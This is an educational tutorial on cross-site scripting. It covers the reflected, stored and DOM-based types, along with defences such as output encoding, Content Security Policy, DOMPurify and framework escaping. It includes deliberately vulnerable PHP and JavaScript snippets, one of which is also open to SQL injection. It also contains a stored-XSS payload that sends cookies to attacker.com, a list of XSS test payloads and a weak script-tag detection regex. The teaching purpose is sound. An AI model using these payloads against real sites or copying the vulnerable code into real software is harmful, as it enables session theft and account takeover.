Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) is one of the most common and dangerous web application vulnerabilities. XSS attacks occur when an attacker injects malicious scripts into web pages viewed by other users. These scripts execute in the victim's browser, potentially stealing cookies, session tokens, or other sensitive information, or performing actions on behalf of the victim.
Understanding XSS
XSS vulnerabilities arise when applications include untrusted data in web pages without proper validation or escaping. The browser cannot distinguish between legitimate scripts from the application and malicious scripts injected by an attacker, so it executes both.
Types of XSS Attacks
1. Reflected XSS (Non-Persistent)
Reflected XSS occurs when malicious scripts are reflected off a web server, typically through URL parameters or form submissions. The attacker crafts a malicious URL and tricks the victim into clicking it.
<?php
// Vulnerable to reflected XSS
echo "Search results for: " . $_GET['search'];
?>
Malicious URL:
https://example.com/search?search=<script>alert(document.cookie)</script>
When the victim clicks this link, the script executes in their browser.
2. Stored XSS (Persistent)
Stored XSS occurs when malicious scripts are permanently stored on the target server (in a database, message forum, comment field, etc.) and later served to other users. This is generally more dangerous than reflected XSS because it doesn't require the attacker to deliver the payload directly to victims.
<?php
// Storing user comment without sanitization
$comment = $_POST['comment'];
$db->query("INSERT INTO comments (text) VALUES ('$comment')");
// Later, displaying comments without escaping
$comments = $db->query("SELECT text FROM comments");
foreach ($comments as $comment) {
echo $comment['text']; // Dangerous!
}
?>
Attacker submits:
<script>fetch('https://attacker.com/steal?cookie=' + document.cookie)</script>
This script now executes for every user who views the comments.
3. DOM-based XSS
DOM-based XSS occurs when client-side JavaScript code processes data from an untrusted source (like the URL) and writes it back to the DOM in an unsafe way. The vulnerability exists entirely in client-side code, and the malicious payload may never be sent to the server.
// Vulnerable to DOM-based XSS
const urlParams = new URLSearchParams(window.location.search);
const message = urlParams.get('message');
document.getElementById('output').innerHTML = message; // Dangerous!
Malicious URL:
https://example.com/page?message=<img src=x onerror="alert(document.cookie)">
The payload executes when the JavaScript writes to innerHTML.
XSS Prevention Techniques
1. Output Encoding/Escaping
The primary defense against XSS is to encode output data based on the context where it will be used. Different contexts require different encoding schemes:
<?php
// Safe: HTML entity encoding
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
?>
JavaScript Context:
<script>
// Safe: JSON encoding
const userName = <?php echo json_encode($userName); ?>;
</script>
URL Context:
<a href="<?php echo urlencode($userInput); ?>">Link</a>
CSS Context:
<style>
body { background: <?php echo preg_replace('/[^a-zA-Z0-9#]/', '', $color); ?>; }
</style>
2. Content Security Policy (CSP)
CSP is a browser security feature that helps prevent XSS by allowing you to specify which sources of content are trusted. It's implemented as an HTTP header.
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline';
Strict CSP with nonce:
Content-Security-Policy: script-src 'nonce-random123';
HTML:
<script nonce="random123">
// Only scripts with matching nonce will execute
</script>
PHP implementation:
<?php
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'nonce-$nonce'");
?>
<script nonce="<?php echo $nonce; ?>">
// Safe inline script
</script>
3. Input Validation
While output encoding is the primary defense, input validation provides an additional layer of security by rejecting clearly malicious input:
// Whitelist validation for expected format
function validateEmail($email) {
return filter_var($email, FILTER_VALIDATE_EMAIL) !== false;
}
// Reject input containing script tags
function containsScript($input) {
return preg_match('/<script[^>]*>.*?<\/script>/is', $input) === 1;
}
if (containsScript($_POST['comment'])) {
die('Invalid input detected');
}
?>
4. Using Safe APIs
Modern web frameworks and JavaScript APIs provide safer alternatives to dangerous functions:
element.innerHTML = userInput; // Dangerous!
// Safe: textContent only inserts text, not HTML
element.textContent = userInput; // Safe
// Safe: createElement with textContent
const div = document.createElement('div');
div.textContent = userInput;
parentElement.appendChild(div);
// For inserting trusted HTML, use DOMPurify
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userInput);
5. DOMPurify Library
DOMPurify is a robust XSS sanitizer for HTML, MathML, and SVG. It's particularly useful when you need to allow some HTML formatting but want to remove dangerous elements:
<script src="https://cdn.jsdelivr.net/npm/dompurify@3.0.0/dist/purify.min.js"></script>
<script>
const dirty = '<p>Hello <script>alert(1)</script></p>';
const clean = DOMPurify.sanitize(dirty);
// Result: <p>Hello </p>
// With options to allow specific tags
const clean = DOMPurify.sanitize(dirty, {
ALLOWED_TAGS: ['p', 'strong', 'em', 'a'],
ALLOWED_ATTR: ['href']
});
</script>
// Server-side with PHP (using HTMLPurifier)
<?php
require_once 'HTMLPurifier.auto.php';
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean = $purifier->purify($dirty);
?>
Framework-Specific Protection
Modern web frameworks often include built-in XSS protection:
const element = <div>{userInput}</div>; // Safe
// Dangerous (only if you explicitly use it):
const element = <div dangerouslySetInnerHTML={{__html: userInput}} />;
// Vue.js: Text interpolation is safe
<div>{{ userInput }}</div> <!-- Safe -->
<div v-html="userInput"></div> <!-- Dangerous -->
// Laravel Blade: Escaped by default
{{ $userInput }} <!-- Safe, escaped -->
{!! $userInput !!} <!-- Dangerous, unescaped -->
// Angular: Sanitizes by default
<div>{{ userInput }}</div> <!-- Safe -->
<div [innerHTML]="userInput"></div> <!-- Sanitized by default -->
Testing for XSS Vulnerabilities
Regular testing helps identify XSS vulnerabilities before attackers exploit them:
1. <script>alert('XSS')</script>
2. <img src=x onerror="alert('XSS')">
3. <svg onload="alert('XSS')">
4. '"><script>alert(String.fromCharCode(88,83,83))</script>
5. javascript:alert('XSS')
DOM-based XSS test:
https://example.com/page?param=<script>alert(document.domain)</script>
Stored XSS test:
Submit: <script>alert(document.cookie)</script>
Then check if it executes when viewing stored content.
1. Allow users to submit comments with basic HTML formatting (bold, italic, links)
2. Implement proper XSS prevention using DOMPurify
3. Add a Content Security Policy header
4. Test with at least 5 different XSS payloads
5. Document which protection layers prevented each attack
Bonus: Implement both reflected and stored comment functionality, and test each separately.
Real-World XSS Impact
XSS attacks can lead to severe consequences:
- Session Hijacking: Stealing session cookies to impersonate users
- Credential Theft: Creating fake login forms to capture passwords
- Malware Distribution: Redirecting users to malicious sites
- Data Exfiltration: Accessing and stealing sensitive information
- Website Defacement: Altering page content
- Crypto Mining: Using visitor browsers for cryptocurrency mining
Summary
XSS remains one of the most prevalent web vulnerabilities. Understanding the three types—reflected, stored, and DOM-based—is crucial for comprehensive protection. The defense strategy includes multiple layers: output encoding for the specific context, Content Security Policy headers, input validation, using safe APIs, and leveraging sanitization libraries like DOMPurify. Always prefer framework-provided escaping mechanisms and test thoroughly with realistic attack payloads.